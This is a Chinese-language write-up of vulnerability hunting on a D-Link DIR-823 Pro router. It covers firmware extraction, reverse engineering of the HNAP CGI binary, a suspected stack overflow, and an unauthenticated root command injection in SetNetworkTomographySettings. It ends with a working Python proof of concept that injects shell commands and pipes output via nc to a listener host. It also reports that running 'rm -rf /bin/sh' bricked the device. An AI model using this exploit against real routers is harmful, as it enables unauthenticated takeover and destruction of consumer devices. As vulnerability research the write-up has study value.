感觉iot设备的漏洞比较常见的就是溢出和命令注入了,找了一个网上没有找到相关资料的DIR-823 pro路由器测试
记录关于DIR-823 pro路由器上无交互RCE的漏洞挖掘过程
17年的固件也是年久失修了,就当作挖掘路由器设备漏洞的练手吧
固件获取
从官网获取固件
从固件名称来看,应该是对openwrt进行二次开发而成的固件
解压文件系统
用binwalk直接解压
binwalk -Me page_openwrt-mtk-sysupgrade-86382-201710141034.bin
就可以得到文件系统了
固件分析
攻击面分析
使用nmap对其开放的端口进行扫描
这里优先选择了比较熟悉的http服务
查找可能存在漏洞的文件
经过查阅资料,openwrt启动时,会运行/etc/init.d/下的脚本
ls ./etc/init.d/
找到与http服务有关的lighttpd文件
cat ./etc/init.d/lighttpd
可以看到起配置文件路径是/etc/lighttpd/lighttpd.conf
cat ./etc/lighttpd/lighttpd.conf
找到一个比较可疑的文件/www/web/HNAP1/prog.fcgi
file ./www/web/HNAP1/prog.fcgi
是指向/usr/sbin/prog.cgi
的软链接
file ./usr/sbin/prog.cgi
分析可能存在漏洞的文件
由于过于贫穷,不能使用IDA pro 7.5,选择ghidra对文件进行逆向分析
经过分析,该程序的整体逻辑应该是
-
先给特定的接口注册相应的处理函数
-
从环境变量中获取用户报文的字符串
-
之后就是对报文的一些分析处理
可能存在的栈溢出漏洞
在main函数中发现了一个可能存在的栈溢出漏洞
其具体逻辑是,从环境变量中获取HTTP_SOAPACTION
这一变量的值,将字符串存到某结构体中
在之后对这一字符串进行处理的过程中,使用strncpy
来进行字符串复制
而strcpy
与strncpy
都是字符串操作中比较容易出现漏洞的地方,其作用都是将源字符串复制到目标地址
- 如果
strcpy
函数的源字符串可被攻击者控制并且没有长度限制,就可能出现源字符串的长度大于目前栈帧的长度的情况,造成栈溢出 - 而
strncpy
函数对字符串复制的长度进行了限制,其第三个参数用来表示字符串复制的长度,但是如果第三个参数为源字符串的长度,其实就相当于strcpy
,可能造成栈溢出
而此处对字符串的处理就是使用strstr
函数来获取源字符串的起始地址(http://purenetworks.com
之后的字符串地址)与结束地址(下一次出现"
的地址),然后将两者的差作为strncpy
第三个参数
也就是上述的第二种情况
但是作为一个cgi文件,prog.cgi
通过环境变量来获取报文,其他地方有没有对此处的字符串长度进行限制就不得而知了
为了测试这里是否真的存在栈溢出漏洞
-
首先尝试发送超长的字符串进行测试
在程序发生栈溢出时有两种情况
- 程序无守护进程,栈溢出后直接崩溃,也就是发送的报文无返回,并且web服务就无法访问了
- 程序存在守护进程,栈溢出后仍然可以正常访问web服务
发现在长度达到一定程度的时候会返回500状态码,而没有直接崩溃
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Status/500
在 HTTP 协议中,
500 Internal Server Error
是表示服务器端错误的响应状态码,意味着所请求的服务器遇到意外的情况并阻止其执行请求。这个错误代码是一个通用的“万能”响应代码。有时候,对于类似于 500 这样的错误,服务器管理员会更加详细地记录相关的请求信息来防止以后同样错误的出现。
-
然后尝试qemu搭建一个虚拟调试环境,但是经过各种尝试,都无法进行
chroot
-
最后尝试通过uart串口通信获取真机shell环境,但是连接后提示需要用户名密码登陆
最后放弃了这里的探究
命令注入漏洞
在进入路由器web页面时,通过burp suite进行抓包分析
(经过测试,通过GetMultipleHNAPs
调用的这些接口都是没有鉴权的,也就是说无需身份验证就可以访问这些接口)
经过对这些接口处理函数的逆向分析,找到了一个比较可疑的函数
FUN_0042a814
函数是对SetNetworkTomographySettings
接口的处理函数
其功能大概是通过ping
命令测试网络连通性,允许用户设置ping
命令的参数
这里也就出现了一个比较常见的sprintf
+system
的漏洞模式
由于攻击者可以控制system参数的内容,并且没有有效的过滤,攻击者可通过发送特制的带有shell元字符的请求利用该漏洞执行任意的操作系统命令
并且经过测试(执行命令rm -rf /bin/sh
,路由器成功变板砖了2333),这里的命令应该是以root权限执行的
poc.py:
#python2
import requests
'''
shell:
nc -l -p 8888
'''
#192.168.0.115
def run(cmd = ""):
posturl = "http://192.168.0.1/HNAP1/"
posthead = {
"SOAPACTION": "http://purenetworks.com/HNAP1/GetMultipleHNAPs"
}
if cmd != '':
cmd = ';'+cmd+';'
print cmd
getsetting = '{"GetMultipleHNAPs":{"GetNetworkTomographySettings":""}}'
setsetting = '{"GetMultipleHNAPs":{"SetNetworkTomographySettings":{ "tomography_ping_address": "'+cmd+'", "tomography_ping_number": "6", "tomography_ping_size": "64", "tomography_ping_timeout": "1", "tomography_ping_ttl": "20"}}}'
a= requests.post(posturl, headers = posthead, data = setsetting)
print a.text
run('ls | nc 192.168.0.115 8888')
需要注意的是,这里的命令是有长度限制的,插入太长的字符串会因为命令字符串不完整执行失败
shell1:
nc -l -p 8888
shell2:
python poc.py